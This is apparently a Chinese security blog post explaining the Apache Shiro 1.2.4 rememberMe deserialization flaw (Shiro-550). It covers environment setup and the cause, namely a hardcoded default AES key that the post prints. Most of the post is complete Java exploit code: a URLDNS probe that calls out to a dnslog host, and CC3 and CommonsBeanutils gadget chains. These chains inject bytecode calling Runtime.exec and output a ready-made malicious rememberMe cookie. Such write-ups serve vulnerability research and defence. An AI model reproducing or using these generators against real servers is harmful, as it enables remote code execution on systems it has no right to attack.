Shiro550反序列化

前言

shiro550反序列化

环境搭建

1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

然后因为jsp里有用jstl标签,所以要在pom.xml中添加这一段:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<dependency>
    <groupId>javax.servlet.jsp.jstl</groupId>
    <artifactId>jstl-api</artifactId>
    <version>1.2</version>
</dependency>
<dependency>
    <groupId>taglibs</groupId>
    <artifactId>standard</artifactId>
    <version>1.1.2</version>
</dependency>

然后配置好tomcat就能启动了

原理

Shiro框架在开启rememberMe功能时会将用户信息序列化之后进行AES加密,然后再转成Base64存在用户的Cookie中,而解码时则将Base64转回字节流进行AES解码后进行反序列化。所以只要知道shiro框架的密钥就能构造恶意的Cookie进行反序列化,而shiro-550存在默认的key:kPH+bIxk5D2deZiIxcaaaA==,被存放在了org.apache.shiro.mgt.AbstractRememberMeManager这个类中。所以可以构造恶意的Cookie进行反序列化。

POC

以URLDNS链为例,按照加密的逻辑可以写出如下的POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class ShiroExp {

    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

    public static void setValue(String name,Object target,Object value){
        try{
            Field field = target.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(target,value);
        }catch (Exception ignore){}
    }

    public static byte[] encrypt(byte[] key,byte[] plainBytes) throws Exception {
        Key secKey = new SecretKeySpec(key, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        int sizeInBytes = 128 / 8;
        byte[] iv = new byte[sizeInBytes];
        SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
        random.nextBytes(iv);
        IvParameterSpec spec = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE,secKey,spec);
        byte[] encrypted = cipher.doFinal(plainBytes);
        byte[] output = new byte[iv.length + encrypted.length];;
        System.arraycopy(iv, 0, output, 0, iv.length);
        System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
        return output;
    }

    public static void main(String[] args) throws Exception{
        String url = "http://a.fa2zs.0tqac7.dnslog.eastjun.xyz";
        URLStreamHandler handler = new SilentURLStreamHandler();
        HashMap ht = new HashMap();
        URL u = new URL(null, url, handler);
        ht.put(u, url);
        setValue( "hashCode",u, -1);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(ht);
        byte[] serialized = bos.toByteArray();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        byte[] data = encrypt(key,serialized);
        String payload = new String(Base64.getEncoder().encode(data));
        System.out.printf("rememberMe=%s%n",payload);
    }
}

将生成的payload放在Cookie里打过去就能看到DNSLOG的记录:

202206090117151

利用链

CC3链

直接用CC6链打过去是打不通的,会出现一个ClassNotFoundException,报错信息是Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;],原因是Shiro使用的ObjectInputStreamClassResolvingObjectInputStream,继承自ObjectInputStream,重写了resolveClass方法:

202206142329430

ClassUtils.forName中会调用Classloader.loadClass()对类进行加载,在tomcat环境下调用的三个Classloader分别为ParallelWebappClassLoaderParallelWebappClassLoaderAppClassLoaderWebappClassLoader无法加载非Java自身的数组,而CC6用到了Transformer数组,所以会出现报错。

在CC链中使用Transformer的目的在于要可控transform函数传入的参数,实际这个参数在LazyMapget函数就可控了:

202206150013897

由此可以改造出一条去除Transformer数组的CC3链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public class ShiroCC3 {
    public static void setValue(String name, Object target, Object value) {
        try {
            Field field = target.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(target, value);
        } catch (Exception ignore) {
        }
    }

    public static byte[] createEvil() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass abstractTranslet = pool.get(AbstractTranslet.class.getName());
        CtClass clazz = pool.makeClass("evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});";
        clazz.makeClassInitializer().insertBefore(cmd);
        clazz.setSuperclass(abstractTranslet);
        return clazz.toBytecode();
    }

    public static byte[] encrypt(byte[] key, byte[] plainBytes) throws Exception {
        Key secKey = new SecretKeySpec(key, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        int sizeInBytes = 128 / 8;
        byte[] iv = new byte[sizeInBytes];
        SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
        random.nextBytes(iv);
        IvParameterSpec spec = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, secKey, spec);
        byte[] encrypted = cipher.doFinal(plainBytes);
        byte[] output = new byte[iv.length + encrypted.length];
        ;
        System.arraycopy(iv, 0, output, 0, iv.length);
        System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
        return output;
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue("_bytecodes", templates, new byte[][]{createEvil()});
        setValue("_name", templates, "a");
        setValue("_tfactory", templates, new TransformerFactoryImpl());
        InvokerTransformer it = new InvokerTransformer("getOutputProperties", new Class[]{}, new Object[]{});
        Map lazymap = LazyMap.decorate(new HashMap(), it);
        TiedMapEntry tme = new TiedMapEntry(new HashMap(), templates);
        HashMap hm = new HashMap();
        hm.put(tme, null);
        setValue("map", tme, lazymap);
        //payload生成
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        new ObjectOutputStream(bos).writeObject(hm);
        byte[] data = bos.toByteArray();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        String paylaod = new String(
                Base64.getEncoder().encode(encrypt(key, data))
        );
        System.out.println(new String(Base64.getEncoder().encode(data)));
        System.out.printf("rememberMe=%s%n",paylaod);
    }
}

CB链

Shiro中有引入Commons-Beanutils,在没有Commons-Collections时可以用CB链,这条是去除了CC依赖的CB链,在调用PriorityQueuereadObject函数时触发对value的比较,然后调用BeanComparatorcompare函数,之后会用反射调用TemplatesImplgetter,最后到getoutputProperties函数时触发命令执行。

然后为了去除CC依赖还得给BeanComparator再传入Comparator,因为如果不传入Comparator就会使用Commons-Collections包中的Comparator

202206151730705

这个替换的Comparator得实现Serialiable接口和Comparator接口,然后还不能是Commons-Collections包中的,所以就用了CaseInsensitiveComparator类,这个类是java.lang.String包中的一个私有类,用String.CASE_INSENSITIVE_ORDER就能获取。

所以最后得到的利用链如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public class CBShiro {
    public static void setValue(String name, Object target, Object value) {
        try {
            Field field = target.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(target, value);
        } catch (Exception ignore) {
        }
    }

    public static Object getValue(String name, Object target) {
        try {
            Field field = target.getClass().getDeclaredField(name);
            field.setAccessible(true);
            return field.get(target);
        } catch (Exception ignore) {
            return null;
        }
    }

    public static byte[] createEvil() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass abstractTranslet = pool.get(AbstractTranslet.class.getName());
        CtClass clazz = pool.makeClass("evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});";
        clazz.makeClassInitializer().insertBefore(cmd);
        clazz.setSuperclass(abstractTranslet);
        return clazz.toBytecode();
    }

    public static byte[] encrypt(byte[] key,byte[] plainBytes) throws Exception {
        Key secKey = new SecretKeySpec(key, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        int sizeInBytes = 128 / 8;
        byte[] iv = new byte[sizeInBytes];
        SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
        random.nextBytes(iv);
        IvParameterSpec spec = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE,secKey,spec);
        byte[] encrypted = cipher.doFinal(plainBytes);
        byte[] output = new byte[iv.length + encrypted.length];;
        System.arraycopy(iv, 0, output, 0, iv.length);
        System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
        return output;
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue("_bytecodes", templates, new byte[][]{createEvil()});
        setValue("_name", templates, "a");
        setValue("_tfactory", templates, new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("1");
        queue.add("1");
        setValue("property", comparator, "outputProperties");
        setValue("queue",queue,new Object[]{templates,templates});
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(
                bos
        );
        oos.writeObject(queue);
        byte[] serialized = bos.toByteArray();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        byte[] data = encrypt(key,serialized);
        String payload = new String(
                Base64.getEncoder().encode(data)
        );
        System.out.print(new String(Base64.getEncoder().encode(data)));
        System.out.printf("rememberMe=%s%n",payload);
    }
}
updatedupdated2023-05-202023-05-20